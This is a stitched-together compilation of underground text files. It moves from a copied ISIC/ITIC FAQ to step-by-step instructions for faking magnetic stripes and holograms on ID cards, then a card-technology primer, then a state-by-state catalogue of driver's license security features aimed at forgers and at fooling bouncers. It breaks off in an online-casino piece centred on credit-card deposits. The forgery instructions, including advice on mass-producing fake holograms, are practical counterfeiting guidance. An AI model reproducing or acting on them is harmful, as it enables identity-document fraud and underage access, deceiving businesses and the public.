Where can I get a list of these special discounts? -
Details of the benefits and discounts for the card are outline in the free, 128-page International Student Identity Card Handbook that is distributed with each card. Worldwide discounts are also listed on the International Student Travel Confederation (ISTC) web site.
How long will my 2001 International Student Identity Card be valid? -
Your ISIC is valid from September 1, 2000 through December 31, 2001.

How do I purchase the International Student Identity Card? -
To purchase the card in the U.S., see the How to Apply page. To purchase an ISIC outside the U.S., visit the International Student Travel Confederation (ISTC) web site to find the Issuing Office nearest you.
What if I'm not a student? -
If you are under 26 and not a student, you are eligible for the International Youth Travel Card (IYTC)

If you are a teacher, you are eligible for the International Teacher Identity Card (ITIC)

{Order Now}hxxp://www.counciltravel.com/idcards/OrderCard.asp?Agree=1&name=isic

ITIC FAQ
What is the International Teacher Identity Card? -
The International Teacher Identity Card, often called the ITIC (that's "eye'tic") was initiated in 1984 to give traveling teachers/faculty a document that would be accepted around the world as proof of teacher status. ITIC is administered internationally by the International Student Travel Confederation (ISTC) and is administered in the United States by Council Travel. Issued in over 40 countries and endorsed by the United Nations Educational, Scientific and Cultural Organization (UNESCO), the ITIC is a basic travel document for faculty member at all levels.

I already have a faculty ID, why do I need the ITIC? -
ITIC is officially endorsed by international organization, national governments and student organizations. With the ITIC, you'll have access to special discounts on airfare, accommodations, transportation and much more!

Where can I get a list of these special discounts? -
Details of the benefits and discounts for the card are outline in the free International Teacher Identity Card Handbook that is distributed with each card. Worldwide discounts are also listed on the International Student Travel Confederation (ISTC) web site.

How long will my 2000 International Teacher Identity Card be valid? -
The ITIC is valid from September 1, 1999 through December 31, 2000.

How do I purchase the International Teacher Identity Card (ITIC)? -
To purchase the card in the U.S., see the How to Apply page. To purchase an ITIC outside the U.S. visit the International Student Travel Confederation's (ISTC) Web site to find the Issuing Office nearest you.
What if I'm not a teacher? -
If you are under 26 and not a student, you are eligible for the International Youth Travel Card (IYTC)
If you are a student, you are eligible for the International Student Identity Card

{Order Now}hxxp://www.counciltravel.com/idcards/OrderCard.asp?Agree=1&name=itic

==========

Magnetic Stripes
BR>These only look like the magnetic stipes, they are not working magnetic stripes!

Ok, what you need to make magnetic stipes is just black elecrtical tape, scissors, and an iron. Now cut the tape so it is the width that you want usually about 1/4 of an inch. And cut it the entire length of the card, and tape it on. Now this is how the final product will look, but if someone were to examine it they would find that the tape is elevated off of the card Now what you need to do is place a soft cloth over the card and iron the tape. Waht you want to do is melt the edges of the tape onto the card so that when you run your fingers over it you cannot feel the difference.

Keep at it, this sounds A LOT easier than it really is. and also do in on TOP of the lamination, duh.

==========

ID card Holograms

article by TopHat

A hologram can greatly affect the look of an id, since holograms are incredibly hard to reproduce, one will almost surely validate the credibility of your card. To make holograms you will need:
Titanium Dioxide Powder (look in chemistry catalogs,labs, some art stores)
Acrylic Base (most art supply stores) Razor Blade (Revco, your friend for life)
Now mix the powder and base, it be like a paint
with sparkles in it. Now spread it out over the spot
where you want your hologram to be, and use the razor blade
to scrape off the design. Scrap off the paint where you want
just the card to shine through. If you mess up, scrap it all off
and start again. Study the hologram you want to duplicate
throughly so you are able to copy it well. What this basically
is is just paint that has sparkles in it, and when held at an angle
will shine, just like a hologram. Do this UNDER/BEFORE you laminate.
If you plan on mass producing these, I suggest that you make
a stencil out of cardboard or plastic, it will greatly affect
the time and the look.

Holograms peel offs can also be purchased from paper companies, or
police supply catalogs. These are better looking, easier, cheaper,
but come only in limited styles (not likely to find state seals and the like).

other ways are:

Here's what you do: Take the seal off of the template that you are using. Copy and paste it as a new image in the same location that you took it from on the template. (hint: most graphics programs show the coordinates of your pointer in the bottom-left corner of the screen) Copy the shape and contents of the hologram and paste it exactly where it should be on the new image you have created just like you did with the state seal. Once this is complete, print this out on a transparency sheet. (I usually print out a whole page them at a time so I don't have to waste transparency sheets) The easiest way the cut-out the transparency is to lay it right on top of your printed license (paying attention to the location of the seal and the hologram image) and cut around the edges of the license with an Exact-o knife. Once you have the transparency sheet cut-out, here's how you turn the hologram into a believable one: Go to your local office supply company. (Officemax is great) Look for presentation foil sheets (they are usually right next to the laminating supplies). The come in a variety of colors, find one that matches the color of your state's hologram. Gold colored works for most holograms. Cut a piece of foil big enough to cover your hologram and then place it in a carrier and run it through your laminator. When it comes out, peel off the foil paper and you'll be amazed at the finished hologram. Put this back on whatever you are going to laminate and then put the whole thing in a pouch a laminate it. You will never notice the transparency sheet being there. Don't be cheap and use an iron to laminate, spend $50 and buy one (use a minimum of 5 mil laminating pouches) One more thing, Scotch makes a restickable adhesive glue stick so you can paste a remove your photo, or whatever, as many times as you want to ensure that you get the photo on straight. (to paste the photo on --if using Polaroid's) IMPORTANT: Make sure to let the Polaroid's sit for at least 30 minutes before you peel the back layer off of them. If you don't give it time, pieces of the Polaroid ink will stay on the backing paper leaving you minus facial features. But, make sure you take the backing off of the Polaroid or else it won't look genuine, the picture will stick out.

or...

First your going to need the real thing if you can get a holo. Go to walmart or any Photoshop, and invest in some of the 3D Film. Now you can buy the cheap kind that comes in the disposable camera or you can buy the real stuff at most photoshops. As always, the more money you spend usually the better its gonna look. Now while your there look for the transparency paper. any transparency plastic sheets will work, but if you buy the ones from the photoshop your chances of a better look HOLO go up.

Once you got your supplies, expose a whole role of film on your holo. 3D doesnt always come out the greatest so you'll probably get 4 or 5 good ones out of a role of film. Now when you go to get these developed you want to get them printed, and you want to keep the negatives. This way you can find the best ones and know which negative they corespond to. When you choose your best negatives, Here comes the hard part.

You need to have some sort of access to a dark room, and hopefully you know how to develop pictures. Any old Darkroom will work. As long as you have taken photography or know the basic gist of it, you will be fine. Now what what you want to do is make your own prints on the transparency sheets. This is tricky, becuase if you move it at all when it is being developed the HOLO's will blur. So basically get a bunch of time and a bunch of negatives and a bunch of transparency sheets. Try to have someone who knows hwo to develop film with you. This helps. Also when you ary drying the photo try to keep all light away from it. when you normally print you can turn the lights on a and let them dry. With holo's let them dry completely in the dark. Dont use a hairdryer or anything to speed the process up, that will fuck things up. be prepared to spend some time before you get the hang of it.

==========

Primer on Electronic Card Technologies

article by CyberChix

Yesterday, I used a magnetic stripe credit card to pay for a purchase at a local clothing store; at the same time, I presented my storage-only contact card to add my frequent buyer points. Next, I used my memory chip with register contact card to make a prepaid phone call.

Later in the day, I stopped at the bank and used my microprocessor contact card to withdraw some money from my checking account. (Thankfully, I remembered my PIN number.) Then, I stopped by the daycare to pick-up my son; I used my contactless card to enter the building.

Next, we entered the transit station and caught the bus to head home. I am so glad I finally got those combi cards to pay our toll. It sure makes getting around quick, simple and hassle-free.

I needn’t bore you with anymore details of my life. But, I’m sure you get the picture.
How many times today did you use an electronic card? What type of technology did it employ? What purpose did the card serve?

ELECTRONIC CARD TECHNOLOGIES IN TODAY’S MARKETPLACE
Let’s take a quick look at the electronic card technologies being used in today’s marketplace and what applications commonly use these technologies. With a basic understanding of how these different types of cards work, you will begin to see the endless possibilities for their application.
• MagneticStripeCards
• Memory and Microprocessor Smart Chips
• ContactCards
• ContactlessCards
• Hybrid/Twin Cards
• CombiCards
• Proximity Cards
• OpticalCards

Magnetic Stripe Cards

Magnetic stripe cards are everywhere. This well-established technology is common in industries with low- to medium-data storage needs.

The most common applications for magnetic stripe cards are financial cards, transit tickets, and ID cards.

- Bank credit and debit cards.
- Prepaid telephone and vending cards.
- Subway, railroad, bus, toll road, and airline cards.
- Driver licenses, employee ID badges, membership cards, and door keys.

Magnetic stripe cards have a black or brown magnetic stripe made up of magnetic particles of resin. These types of cards can be either low-coercivity (LoCo) or high-coercivity cards (HiCo).

Coercivity is the ability of a property to resist demagnetization. It is measured in oersteds (Oe). The material used for the particles determines the coercivity of the stripe: low- coercivity stripes at 300 Oe are made of iron oxide and high-coercivity stripes at 2750 to 4000 Oe are usually made from barium ferrite. The higher the coercivity, the harder it is to encode information — and to erase information.

Memory and Microprocessor Smart Chips

Before we take a look at the many types of smart cards, it's important to understand the various chips found in these cards. The chips used in contact, contactless, hybrid/ twin, and combi cards fall into two categories: memory and microprocessor.

Memory Chips

A memory chip is similar to a small floppy disk. This type of chip primarily stores information, access control, or a value that can be "spent." It holds anywhere from 103 bits to 16,000 bits of data.

Memory chips are less expensive than microprocessors, but they also offer less security because they depend on the security of the card reader. Because of this, memory chips are ideal for use in applications requiring low- to medium-security. Memory chips can be divided into two categories: Storage-Only and Memory Chip with Register.TheStorage-Only Memory Chip has rewriteable memory. It is often used in loyalty applications to store a buyer profile. The buyer earns points as they spend money and these points are later redeemed for various rewards. The Memory Chip with Register begins with a value that decreases with use. It is not
rewriteable; once the value is exhausted, the card is discarded. The most common applications for this chip are prepaid telephone and vending cards.

Microprocessor Chips

A microprocessor chip can add, delete, change, and update information. It is basically a computer with an input/output port, operating system and hard disk. Microprocessor chips come in 8-, 16-, and 32-bit formats with data storage capacities ranging from 300 to 32,000 bytes.
Microprocessor chips offer a high degree of security to the user. They have the ability to verify the cardholder with a PIN (or other secret code). Banking, identification, healthcare, and other industries that require high security are currently utilizing microprocessor cards.

Contact Cards

A contact card has a gold chip embedded in the card; the dimensions and location of the chip are standard and are defined in ISO 7816-2. This kind of card requires insertion into a smart card reader and a direct connection with the physical contact points on the card to transmit data. Contact cards are used frequently in banking, communications, healthcare, loyalty, and storing automotive service histories.

Contactless Cards

Contactless cards have an antenna coil and a chip embedded in the card. This type of card must pass within varying degrees of proximity to a smart card reader. The embedded antenna communicates with a receiving antenna at the transaction point. Access control, student identification, electronic passport, vending, parking, and toll are common applications for contactless cards.

• Immediate proximity smart cards must pass less than 1 millimeter from the reader and be precisely aligned.
• Close proximity smart cards must be between 1 and 2 millimeters from the reader in a specific orientation.
• Remote coupling smart cards can function in a range from a few centimeters up to 3 to 5 meters from the reader in any orientation.

Hybrid/Twin Cards

A hybrid/twin card has two chips embedded in it: a contactless chip and a contact chip. The chips may be memory or microprocessor chips. The contactless chip is for applications demanding fast transaction times — like mass transit. The contact chip is used in applications requiring higher security. The two chips are not connected to each other. Instead, one chip serves the consumer needs and the other the card issuer needs. This type of card also offers a temporary solution for contact card systems switching to contactless.

Combi Cards

The combi card — also known as a dual-interface card — offers a contact and contactless single chip. This is a popular form of smart card because it extends ease-of- use to both the card issuer and the consumer. Mass transit is expected to be one of the more popular applications for the combi card. In the mass transit application, the contact interface may be used to place a cash toll value on the combicard whilethecontactlessinterface isused to remove atollvalue.

Proximity Cards

Proximity cards utilize contactless technology. They are growing in popularity because of the convenience they offer markets like identification, mass transportation, security, and access control. Contactless cards, hybrid/twin, and combi cards are examples of different types of proximity cards.

Here's how they work:
• An antenna is embedded in the card.
• The card passes within range of a reader, which activates the reader. Immediate proximity cards must pass less than 1 millimeter from the reader and be precisely aligned. Close proximity cards can be read up to 10 centimeters from the reader in a specific orientation.

Vicinity cards can function in arangefrom30to70centimetersfromthereader in any orientation.
• The embedded antenna communicates with a receiving antenna in the reader. The reader then sends the data to the host computer for processing. Proximity card technology is employed in a variety of markets including identification, analysis, transportation, distribution, industrial, security, and access control.

Optical Cards

Optical cards employ a CD-ROM type of technology to store information. A section ofthe lasersensitive mediaislaminatedinto acardand isused to storedata.The mediaisawrite once read many(WORM)media.

An optical card stores between 4 and 6.6 MB of data. This makes it an ideal carrier for graphics such as photographs, logos, fingerprints, x-rays, etc. Data is encoded in a linear x-y format. ISO/IEC 11693 and 11694 standards cover the details. Optical cards currently are utilized to store prenatal-care records, medical images, and personal medical records.

They are also commonly used in the following applications:
• High-security drivers' licenses and access/entry cards.
• Auto repair/warranty records.
• Secure bank debit cards.
• Immigrant ID cards.
• Automated cargo manifests for the Department of Defense logistics.

==========

Guide to US & Canadian
Drivers License Security Techniques!

article by {Egg}

The following is a state by state (and Canadian province) list of tricks that are used on drivers licenses to prevent forgery.

One other thing. One the most common and easy to use security checks in use today is the Soundex system. You will notice that many states incorporate this into their licenses. I feel that everyone interested in the topic covered by this file should be made aware of this systems simplicity and also it's danger (to the unknowing), so I have included, at the end of this file, an explanation of the Soundex system.

- UNITED STATES LICENSES
- CANADIAN LICENSES
- SOUNDEX SYSTEM

UNITED STATES LICENSES

Alabama:

This license is a photo ID card laminated in plastic. The driver's photograph is on the lower left corner, and overlapped by the state seal. The drivers license number and birth date are embossed at the top, and license of minors under 21 are further identified by a star embossed after the birth date.

Alaska:

This license is encased in plastic. If needed, "CDL" and the appropriate class appear in the class box. The manufacturer is Polaroid.

In the Minor's license, a red vertical "ALASKA" is on the left side, "UNDER 21" on the right side of the laminate and "UNDER 21" or "*U21*" is below the photo. Prior licenses have birth date only.

The state seal and camera number overlap the photo. There is a raised hologram on the current license.

The license number is up to 7 digits, without spacing, and it is not coded.

The license expires on the person's birthday five years after it has been issued. The certificate of the

extension, found on the back of the license, can extend the expiration for one 5-year term for drivers under the age of 69. The operator must be atleast 16 years old.

This license is also a photo laminated type, but the lettering on it may be typewritten or "computer type," which offers the forger a choice. The signature of the Commissioner overlaps the photo. An additional safeguard is that the state seal overlaps the driver's signature.

Arizona:

This is a polyester photo ID card, but it is not laminated. The state seal is on the front of the license surrounded by a printed orange pattern which overlaps the type. The Assistant Director's signature is on the bottom. The driver's name, address, and other data may be typed or written in by hand.

Arkansas:

The current license is in credit card style with a ghost image and a yellow header. It has a 2d bar code and magnetic stripe on the back. Prior licenses are digitized with magnetic stripe on back. For CDL, blue map enclosing "CDL" and "Commerical drivers License" at right. "Commercia Drivers License" in green ink for prior CDL

Current license has a red header, a red border around the photo, birth day in a red box, "UNDER 18" and "UNDER 21" statements. Prior license uses same statements

This is a laminated photo ID, using the state seal overlapping the photo as a safeguard.

California:

The two newest formats have a pattern of the state seal and the DMV logo, which is in an optically variable gold ink in the newest format. The license may have a bar code and a magnetic stripe on the back, or just a magnetic stripe. The prior license has a retroreflective laminate on the front. The CDL has "COMMERCIAL DRIVER LICENSE" in brown.

The Minor's license has the photo on the right. One license has "Provisional" and "Age 21" highlighted in blue or red color, respectively. Another license has "PROVISIONAL UNTIL AGE 18 IN (date)" in white letters on a blue bar, or it may have "PROVISIONAL UNTIL AGE 18" in red letters, for those under 18 years of age. The under 21 licenses have "AGE 21 IN (date)" in white letters over a red bar or in red lettering, or "UNDER 21 UNTIL (year)" in red or black.

One license has the state seal and DMV logo in an optically variable gold ink, microprinting and a secondary photo. Another license has a translucent hologram of the state seal and the DMV logo. Prior licenses have hidden reproductions of the state seal and "California" on the surface.

The license number has one letter, and 4-7 digits, which are unspaced and uncoded.

The license is valid for 4 years for an original license, or 4 or 5 years for a renewal license, which expire on the birth date. An accompanying certificate can extend the license for two 4 or 5 year terms. The operator's minumum age is 16.

This license is photograpghic, with a high-tech lamination the front. Type may be typewritten or computer type. The state seal and the name "California" are hidden in the laminate.

Colorado:

One license is made of durable plastic with a scenic backdrop of mountains, a digital photo at the left, and a ghost image on the right. Another license is photographic and encased in plastic. "COMMERCIAL DRIVER LICENSE" for the CDL is below the state heading for the first license, and in a yellow band

below the heading for the second. The first has a magnetic stripe and 2D bar code on the back, and the second just has the magnetic stripe.

The Minor's license is in the vertical format, and has "UNDER 21" in red above the photo, along with a ghost image on the right. A probationary license has a gradient gray background. The other license has a profile photo prior to 8/94, but now features a full-face photo. "UNDER 21" in a yellow bar, or "UNDER 18" in a red bar is on the right. The prior license has license numbers prefixed with an M for those under 18, and P for those between 18-20, along with "UNDER 18" or "UNDER 21" in a box to the right of the license number.

The first license has the state seal in a continuous row across the center, and the other license has a row of state seals across the bottom. Prior licenses have the state seal at the top of bottom edge of the photo and data area.The license number has 9 numbers, and prior licenses usually have 1, but up to 5 letters and up to 6 digits.

The adult licenses are valid for 5 years, and for 4 years if commercial licenses, which all expire on the birth date. Under 18 and Under 21 licenses expire 20 days after the 18th and 21st birthdays, respectively. One-year extensions are available for out-of-state renewals, and 2 extensions are available for out-of- the-country applicants. The operator's minimum age must be 16.

This is a photo-Id with a polycarbonate (Lexan) coating. This makes it very durable, as well as unusually flexible. The material gives it a different "feel" from most photographic materials. The state seal is in the center, and the Director's signature is in black.
The Colorado Id has about 5 holograms on it, all on the bottom of the ID. They are not true holograms, instead if you tilt the Id you will see these five holograms that simply look like gold. There is not a full color spectrum in the hologram. The hologram is of the state seal, and each one is a little more then a half inch in high.

A trick used on the Colorado Id is that of the information field "Hair." On most Ids it is actually spelled 'Hair', but instead on the Colorado it looks to be spelled with an 'e' instead. So sometimes bouncers will look at this and if it looks like it is spelled 'Hair' then they will pull out the Id book.

Connecticut:

This license is laminated, has a digitized shadow image of the driver, and the commisioner's signature overlapping the photo, which may be omitted on some. The CDL has "COMMERCIAL/DRIVER'S LICENSE" in green on the upper-right corner.

The Minor's license has "UNDER 21 UNTIL XX-XX-XX" in red over the picture instead of the two flags commonly seen on regular licenses.

The current license has a row of state seals at the bottom of the license, and an outline of the state with the state name diagonally through it, which is visible under black light. Another version has a rectangular security feature which overlaps the photo, ghost image and the data area. Both versions have authorizing signatures overlapping the photo, even though some issues of the other version failed to include this. There is also a ghost image. Finally. the state seal and camera code are visible over the lower right corner.

The license number is 9 digits without spacing. The first two digits are 01-12 according the month of the driver's birth if the birth year is odd, or 13-24 if the birth year is even.

The license is valid for 3-5 years, and expires on the person's birthday. The operator's minimum age is 16.

This is a Polaroid photo card, laminated in plastic with the gold printing "CONNETICUT" on the plastic. A gold "Y" is in the typed area for minor's licenses. There are several other tricks and kinks to this license:
The Commissioner's signature is on the edge of the photo. The first two digits of the nine-digit license

number are coded. For drivers born in odd years, the first two numbers denote the month of birth by the numbers 01-12. Those born in even years have the numbers 13-24 to denote birth month.

Delaware:

This is also a photo-ID with lamination. The safeguards are the
Director's signature on the edge of the photo, the date and fee at the bottom, and a red background for the photos of those under age 21.

District of Colombia:

The proposed license is a credit card style with a blue header bar, which is not embossed. The driver's photo is on the left with a shadow image on the right side for all licenses. The current license is photographic and encased in plastic. "CDL" appears in the type box on both licenses is applicable.

The Minor's proposed license will be in the vertical format for those under 21. The graduated license will be issued to those under 21. The current license has a profile photo used for those under 21. Restriction 3 is applied to those under drivers under 18.

The proposed license has a security overlay with "WASHINGTON DC A CAPITAL CITY". The current license has an authorizing signature above the photo, a District seal in the data area, and a DC outline and ussuing office number which overlaps the photo. The District of Columbia emblem (3 stars above 2 bars) is in red at the bottom right. "WASHINGTON DC A CAPITAL CITY" is in a gold, repetitive pattern.

The license number is the social security number or an assigned number consisting of 7 computer-generated digits.

The license is valid for 4 years from the date issued, and may be valid for 5 years, expiring on the birth date. The operator's minumum age is 16.

DC issues photo-laminated ID with the Administrator's signature or the outline of the district map on the edge of the photo. The license number may be the Social Security number or one assigned by the issuing agency. The trick in this license is the code number "3" in the space for "Restrictions" to identify minors under 18.

Florida:

This license is made of PVC and has a holographic overlay and a magnetic stripe on the back. Prior issues are encased in plastic with variations in the statement above the signature. The CDL has "*CDL*" below the license number in the previous issue, and the current issue has "CDL" followed by the class on a blue bar on the left.

The Minor's license has "UNDER 21 UNTIL (date)" in a red bar below the photo. Prior issues have a yellow photo backdrop and after July 1989, a red vertical "UNDER 21" overlaps the photo's right edge. A vertical license is currently under consideration for 2000.

The current license has a holographic overlay of "Florida" and the state outline. Previous issues have the state seal and the camera number overlapping the photo, along with a vertical "FLORIDA" visible in ultra-violet light. Another issue has a state seal and a radiating security pattern in the data area.

The license number has 13 characters using the Soundex system. The first is the first letter of the driver's last name. The next 3 digits are the last name in Soundex code, and the next 3 are department coding. The next two are the year of birth, the next three are the coding of the birth date and sex, and the last digit is a check digit, which may not appear. Previous issues have 12 characters, set up as 4-3-2-3 also beginning with the first letter of the last name.

The license is valid for 4-6 years, expiring on the birthday with an 18-month early renewal option. A sticker can extend the license another 4 years if the license was issued between November 1985 and November 1989. The 4 and 6-year extension program was reinstated in 1992. The non-digital licenses can have two extensions. The operator's minimum age is 16.

This state issues photo-laminated ID with the state seal and camera number overlapping the photo. The license number follows the Soundex system and begins with the first letter of the last name and looks like this: J123-123-39-123. The two digit group is the birth year. An additional trick is that minors under 21 have a yellow background on their photos. The most difficult to overcome trick used with this license is state seals printed in ink visible only under ultraviolet light.

Georgia:

The license is photographic and laminated. Current licenses have a bar code on the back and a holographic patch in the front. On prior licenses, the photo runs from top to bottom on some issues, and the data box titles may vary. Current licenses have "Georgia" followed by "COMMERCIAL DRIVER'S LICENSE" in a goldish- yellow. Prior issue has a yellow "GEORGIA" followed by "COMMERCIAL LICENSE" or "COMMERCIAL DRIVER'S LICENSE" in smaller black letters with the same words in yellow across the data box.

The Minor's license has "UNDER 21" vertically to the left of the photo, the 21st birthdate, "UNTIL (21st birthdate)", a picture border, and heading all in red. The prior issue had "UNDER 21" in red on the front.

The current license has "Georgia" in a holographic patch over the driver's date of birth and the state seal. The prior issue has the Commissioner's and the Governor's signatures, and the state seal overlapping the photo.

The license number is up to 9 digits, and not coded. The Social Security number or a control number is used.

The license is valid for 4 years, expiring on the birthday. An honorary veteran's license may be updated by having the department sticker attached to the back. The operator's minumum age is 16.

This is a photographic laminated card with the blue state seal on the front, surrounded by a pattern of orange lines. The safeguards include both the Governor's and Commissioner's signatures, but not overlapping the photo. Drivers under 20 have a red bar at the top of the card.

Hawaii:

This license is a plastic card with a rainbow on the front. The CDL has "CDL" in red letters below the "CTY" field at the right side of the license.

The Minor's license has "UNDER 21 UNTIL (month-day-year of 21st birthday)" in red below the license number.

The current license has a holographic overlay of a hibiscus flower and "Aloha State" repeating over the face of the license. The prior license has a hologram with "ALOHA STATE" over the date of birth which encroaches into the picture area.

The license number is the Social Security number. The license number may change to an alternative system beginning in 2001 if pending legislation approves it.

The license is valid for 6 years for those 18-71 starting July 1997, expiring on their birthday. The license is valid for 4 years for drivers 15-17, and for 2 years for drivers 72 and older. Before 1997, people between 15-24 and adults 65 and older were issued licenses valid for 2 years, and all others expired after 4 years. The license can be renewed 6 months prior to expiration, even making some licenses (depending

on birth date) valid for over 6 years. The operator's minimum age is 15, which may change to 16.

This looks more like a bank card than the typical drivers license because the data is embossed. The photo is at the upper right, embedded in the plastic card. An additional 10-digit number is at top right, above the photo, and minors under 17 are identified by having their photos in profile.

Idaho:

This license is photographic and encased in plastic. Older issues have date in boxes. The CDL has a notation above the signature, or "SEASONAL CDL" printed vertically in red on the left and right sides of the laminate.

The Minor's license has "UNDER 18 UNTIL (date)" in the donor area for those under 18 and "UNDER 21 UNTIL (date)" below the birth date for those under 21, starting January 2000. "UNDER 21" is also stamped in red to the right of the address for drivers under 21. Previous issues might not have the red stamp and some of the oldest issues may have profile photos. Drivers who are 15 are restricted to only driving during daylight until they are 16.

There is a repetitive gold state seal on the license, and the camera number splits the line on the right edge of the photo. An additional number must appear below the driver's license number.

The license number has 9 characters: 2 letters, 6 numbers, and 1 letter, starting May 1993. Before that date, the Social Security number or an assigned number, starting with 910, 920, or 940 and then 6 digits, was used.

The license is valid for 4 or an optional 8 years for those between 21 and 62, starting January 2000. Before that date, licenses are valid for 4 years. If a renewal sticker is attached to the back of an expired 4-year license, the license is extended for one more 4-year term. A separate 1-year extension is available. The operator's minimum age is 15 with driver training, with a daylight restriction until 16.

This license is a laminated Polaroid with a gold pattern in the lamination. Minors under 19 are identified by a photo in profile, instead of full-face. The license number may be the Social Security number. Otherwise, it's 9 digits beginning with "910" or "911". Only the Social Security number is hyphenated.

Illinois:

The current license is digitized with a retroreflective hologram. The CDL has a notation above the photo. The Social Security number may appear beside the birth date on the current license or above it for prior issues, but this is optional.

The Minor's license has a red headbar, and a red aura around the state seal. "UNDER 21 UNTIL (date)" is in the headbar, and the birth date is blocked in red. Prior licenses have a red photo backdrop, red bars at the top and bottom (in the laminate) and "UNDER 21" on the right side of the laminate and on the back for those under 21.

Current licenses have a hologram that says "A Safer State with .08" repeating across the bottom, and .08 is inside the state outline. Prior licenses have a raised hologram over the birth date area and the photo edge. Prior licenses have a small repetitive pattern of "ILLINOIS" across the data area.

The license number is the first letter of the last name, followed by 11 digits. XXX for the last name coded, XXX for the first name and middle initial coded, XX for the year of birth not coded, and XXX for the day and month of birth and sex, which might be different if two drivers have the same name and birth date.

The nonrenewal licenses are valid up to 5 years, and the renewals are valid for 4 years, expiring on the birthday. The Minor's license expires 3 months after the 21st birthday. The license can be extended for 4

years with a renewal sticker, as of January 1997. The operator's minimum age is 16.

This is a laminated Polaroid photo-ID with the repetitive letters "ILLINOIS" on the laminate. This license is full of tricks. As a start, the photo has a number overlapping it. The license number itself is coded. It begins with the first letter of the last name, followed by three digits coded on the last name. The next three digits are a code based on the first name and middle initial. The next two digits are the year of birth and the last three digits signify the person's sex, and the month and day of birth, again in code. The number is hyphenated in a misleading way, though: A123-4567-8901.

Indiana:

The current license is digitized with a security coating. The prior license is photographic and encased in plastic. The prior issues use slash marks in some date fields and the donor field may not be present. The current license uses red shading and "COMMERCIAL DRIVER LICENSE-CLASS X" for CDL. The prior issue has a yellow headbar and has "COMMERCIAL/ DRIVER'S LICENSE".

The Minor's license has "Under 21 Until (date)" below the photo in red. Starting January 1999, drivers under the age of 18 have "PROBATIONARY" under license type. The older issue has a red photo background for drivers under 21.

The current license has a torch-and-stars pattern on laminate which is visible when tilted. The prior issue has the camera number overlapping the photo edge and a gold "INDIANA" pattern repeating on the laminate.

The license number is a 10-digit number spaced as XXXX-XX-XXXX and is not coded.

The license is valid for 4 years, expiring on the birth date, beginning January 1998. Before that date, the license expires on the last day of teh birth month. Drivers who are 75 or older receive 3-year licenses. The minimum operator's age is 16 years and 30 days.

This is a photo ID with a laminate on the front, which gives it a silky texture. There's nothing significant about the license number, which may be a Social Security or other number with 9 digits. One trick used in this license is listing both the expiration date and the date for re-examination. If they don't match, the license is fake. Additionally, there are state seals hidden in the plastic.

Iowa:
These licenses are the credit-card style, with bar codes and a magnetic stripe on the back. The prior license is enclosed in plastic. The CDL has a green header and a picture border, along with "IOWA COMMERCIAL/DRIVER LICENSE". The prior license has "CDL" down the right side of the license.

The Minor's license has drivers under 18 receiving a first-level operator license with a fuchsia header and a picture border, titled "IOWA INTERMEDIATE/DRIVER LICENSE". "Under 18/ 21 Until MM-DD-YY" apprears under the photo. Older formats have "UNDER 21" or "MINOR" down the right side. Current licenses have name and address in red below photo, and the last two digits of the date of birth are in red under the expiration date.

The director's signature and station number overlap the photo. There is also a multicolored state seal and a DOT logo repeating in the security laminate.

The license number is the Social Security number, or a combination of 3 numbers, 2 letters, and 4 numbers.

The license is valid for 2 or 4 years, expiring on the birthday, with a 60-day grace period. 2 or 4-year extensions take effect when they are accompanied by a renewal certificate. Also, two 6-month extensions are available. The first-level operator's license is good for up to one year. The operator's minumum age is 16, but the restricted license is available to those who are atleast 14.

This is a photo-ID laminated in plastic. The tricks employed in this license are that the Director's signature and the station number overlap the photo. The license number may be the SS number or nine digits and letters. Minors under 19 have their photos in profile. An additional trick is the lettering "IOWA DEPARTMENT OF TRANSPORTATION" in the plastic.

Kansas:

This license is encased in plastic with or without rounded corners. A holographic rectangle is on the front, and and there is a magnetic stripe on the back. The Administrators' names may vary. For the CDL, "CDL" is on the headbar.

The Minor's license says "NOT 21 UNTIL XX-XX-XXXX" in white letters on a red band below the photo or "NOT 18 UNTIL XX-XX-XXXX" in black letters on a green band beginning July 1997. Drivers 14 to 16 have J02 or J09 in the restriction field or "Age Restricted to 16" or "Farm Permit".

The license uses a holographic rectangle which shows "KANSAS" in blue to the right of the photo.

The license number is the Social Security number or an assigned number of K and 8 digits.

The license is valid for 6 years for drivers between the ages of 21 and 64, which expires on their birthday, with a 2-year early renewal option, beginning January 1998. Before that date, licenses are valid for 4 years. Beginning July 1995, out-of-state licenses can be extended up to 6 months. The operator's minimum age is 14, which is restricted until 16.

This license is a laminated photo-ID with the state seal in front in the data area. Two signatures overlap the photo. There are a couple of tricks: Those under 21 have red backgrounds in the photos. The letters "KANSAS" are repeated on the laminate.

Kentucky:

This license is photographic and encased in plastic. The older issue features a repetitive pattern of "KENTUCKY" across the data area, and the current issue has a running horse as part of the state name. The prior issue has "CDL LIC" or "CDL LICENSE" printed above the photo. The current issue license shows "CDL" in the license type area.

The Minor's license has "UNDER 21" in blue on the sides of the laminate, and "UNDER 21" above the photo. The prior issue has blue bars at the top and bottom in the laminate, and the same words on the back.

The current issue has a large ghost seal and a stylized laminate, plus a vertical signature at the left side of the photo. The prior issue has a state seal above the data area, and the signature and camera number overlapping the photo edges.

The license number is a 9-character number beginning with a letter (usually the first initial of the last name), then the 2-digit year the license was issued, and then a sequence of 6 numbers. Before November 1996, this number was not hyphenated. Before November of 1995, the Social Security number or an assigned 9 or 10-digit number was used.

The license is valid for 4 years for drivers age 21 and over, expiring on the last day of the birth month. For those under 21, it is valid for up to 5 years, but it expires 30 days after the driver's 21st birthday.

Online Casinos Explained

This article is written exclusively for the beginners and cannot be considered as a ideal description of earning money from online casinos

1. Selecting a Casino (finding a poker site)

I would advise beginners to start by searching poker websites. You will become an expert by typing in the following phrases such as Poker, Casino, Slot or Texas hold ‘em on search engines such as Google, Yahoo.

When you finally complete your search, compile a list of online casinos and start by examining them all. You will need to first register accounts on the online casinos that you have chosen from your search. Enter any registration data and then proceed to the category, Deposit/Withdrawal. Here we can see which types of money can be deposited and withdrawn on this specific casino site. It is important to focus on the credit card deposit, fortunately almost every online casino this type of depositing money. The reason for online casinos accepting credit cards as a method of depositing money is simple; it is convenient, easy and is well saturated because of the high usage of credit/debit cards. Take a look at the method of withdrawing money. The most popular methods will be Money Bookers, Click2pay, Neteller, Credit Card and a few other payment accounts and systems. Webmoney is the least used system of money withdrawal, try to guess why)

